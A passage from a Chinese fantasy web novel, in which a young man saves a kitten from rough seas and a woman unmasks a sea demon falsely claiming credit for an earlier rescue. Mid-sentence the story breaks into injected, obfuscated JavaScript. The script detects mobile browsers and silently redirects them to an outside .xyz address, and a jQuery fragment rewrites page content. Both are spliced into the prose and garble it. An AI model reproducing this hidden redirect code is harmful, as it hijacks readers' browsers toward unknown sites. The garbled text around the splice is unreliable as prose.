“不用不用。”陆雁锦连连摇头,他哪好意思让别人去担风险。 应真潇也摇摇头:“这么大的浪,会游泳没有用。” 她把背包放下来,开始从里面掏东西。 陆雁锦瞪大眼睛:“姐,这是什么?” 应真潇:“这是等会儿要用的神奇妙妙工具。” 说完,她从背包底部翻出来一捆户外绳,这是她为了和郑宇俊和平交流做的准备,递给陆雁锦:“去吧,陆鲤鲤!” 其余人:…… 陆雁锦脱掉外套,用绳子在腰上打了个兔耳结,大步往海里走:“小猫我来了!” 岸边的人拽着绳子,严阵以待,五分钟后,陆雁锦捧着小猫,浑身湿漉漉地回来了,一边走路,一边往外呸水:“又苦又咸,这什么水质啊,和南海的比不了一点。” 潮水高涨,礁石边根本踩不到底,他伸手把小猫举在水面上,潜水游回来的,海浪汹涌,难免呛了几口海水。 这什么素质啊,还拉踩!本地龙应真潇绷不住了,教训他:“这怪东海吗?人类排污之前,东海水质很好的!” 陆雁锦一想也是,自我反省:“啊,卑劣的人类。” 其他人:……:) 小猫皮毛也湿漉漉的,陆雁锦把它擦干,放进团成小窝的外套里:“你先在这呆着,等下办完事,我带你到宠物医院去。” 小猫抬头看着他,一双瞳仁澄澈透亮。 安置好小猫,姚道长再次焚烧祝辞。 按照规矩,如果所寻的妖鬼不应,就要再次、三次陈愿祈求,以示诚意;三次还不来,此次开坛不可再请,如果要再请,可以下次再开坛。 当然,开坛也讲究事不过三,如果三次开坛——也即九次陈愿后,妖怪仍未应答,证明祂不愿意沾染这份因果,便不可再求了,否则有时甚至会招致报复。 后面两次陈愿仍未得到应答,陆雁锦抱着小猫,面露失望之色,姚道长正要收坛,海上突然聚起一阵黑风,旋即化为一个穿着古装的人形。 “男人”肤色苍白,中年模样,皮肤泛着粼粼珠光,眉毛像是镶嵌的螺钿,瞳孔银灰,唇边生着两条肉须,耳后、指间皆生有蹼膜,看起来妖异非常,表情带笑,笑容却带着邪性。 祂张嘴,语气傲慢:“寻本尊何事?” 一个明显不是人的东西开口说话,画面冲击力还是有的,好在在场的人心里多少有预期,还算有定力,没有失态。 姚道长连忙把祝词用大白话陈述了一遍,意思无非是感谢他救了陆雁锦,陆家心怀感激,愿意献上供奉,以示感谢。 “算你们有孝心。”男人捻了捻唇边的肉须,眼中划过一丝贪婪。 他狮子大开口,一张嘴,便要求陆家尊他为恩仙,给他修座庙,塑金身一座,另献上金银牺牲若干。 姚道长吐出一口气,开始和妖怪交涉。 趁他们说话的功夫,应真潇胳膊肘捅了捅陆雁锦,朝他晃了晃手机。 陆雁锦点点头,抱着猫,拿出手机,发现应真潇给他发了条消息:【你还记得当时用幻境带你离开的妖怪有什么特征吗?】 他心领神会:【姐,你怀疑不是他?】 【不能确定。】应真潇说:【所以问问你。】 现在外挂不在身上,她也不能确定是否就是面前的妖怪;但直觉告诉她,不是。 救人的妖怪,往往是性情温和,为妖善良的,可眼前的妖怪透着邪性,言行举止,看不出善良来。 而且她记得那蜃精是个母的,应该不至于特意化个男人形状来见他们。 陆雁锦回了个【哦哦】,开始努力回想,可他确实没见到那妖怪的本体,或是化出来的形状,只记得先前是一个烤鱿鱼小摊,随后就变成了一团漆黑的迷雾,还伴随着海水的腥味。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452756|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老实交代:【没看到长相,就记得有股海鲜的味道。】 怀里的猫崽也看到了这句话,在无人注意的角落,猫崽翻了个白眼。 应真潇:…… 她发了个微笑表情包:【据我所知,东海的妖怪大部分都是海鲜。】 姚道长和妖怪交涉了一会儿,但对方不肯松口,态度坚决。 正当姚道长犹豫时,应真潇开口:“且慢。” 她微微一笑:“原来那天是这位大仙出手相助的,一看就道行高深,难怪能出手解决恶蛟残魂。” “那是自然。”妖怪抬了抬下巴,神情倨傲。 ——很好,确定了,就是李鬼。 应真潇吸了口气,一口答应了他的条件:“大仙恩德,陆家人记挂在心,这些都不是问题。” 姚道长瞪大双眼,回头看着她,又看向陆雁书,神色惊讶。 陆雁书微微颔首,示意他少安毋躁。 应真潇没管他们的动作,指了指陆雁书兄弟:“不过,陆家多年以来一直供奉应真湖龙女,给大仙你立庙供奉,虽然是分内之事,但落在龙宫眼里,恐怕会认为大仙分了娘娘的祭祀。” “要是给大仙招来祸患,倒是陆家人的不是了。”应真潇义正严辞:“陆家不能做恩将仇报的事情,所以此事要先上禀龙宫,一旦龙宫示下许可,陆家立马照做。” 非正神、非先祖、非有功之人而立庙受祀,是为淫祀。 这不但在凡间不允许,另一个世界也不允许,因为妄自立庙受祀,是冒犯神灵的僭越之举。 他要真是救了陆雁锦的妖怪,上报到龙宫,就会得到许可,你好我好大家好;但如果不是,上报龙宫,就是自投罗网。 果不其然,男人迟疑了:“这……” 应真潇眯了眯眼睛。 很快,男人灰白眼珠一转:“本座与龙女娘娘有旧,交情很好,这点小事,不必上报龙宫。不过你们说的也有道理,既然如此,那就不立庙了,改为逢五祭祀吧。” 应真潇:? 谁跟你有旧?少往你那个丑脸上贴金! 她皮笑肉不笑:“交情是交情,规矩是规矩,便是娘娘亲自来了,也得按照龙宫的规矩走。” “死丫头如此不知变通。”男人眯起眼睛,捋了捋肉须:“这样对待救命恩妖,就不怕我去娘娘那里说一嘴?” “哇,那可真是吓死我了。”应真潇没有感情地棒读,指使姚道长:“上书龙宫。” 姚道长也觉出味来了,一颔首,便要行召唤东海水府的科仪。 “你——”男人怒极反笑:“不给你们点厉害瞧瞧,还不知道天高地厚!” 他挥挥手,掀起几道数米高的海浪,劈头向众人砸来。 陆雁书神色一凛,他反应最快,上前一步护住应真潇。 被暴露出来的的陆雁锦:? 他来不及多想,蹲下护住小猫。 千钧一发之际,海浪突然散去,随即,晴天一道惊雷落下,劈在男人身上,他惨叫一声,伏倒在地。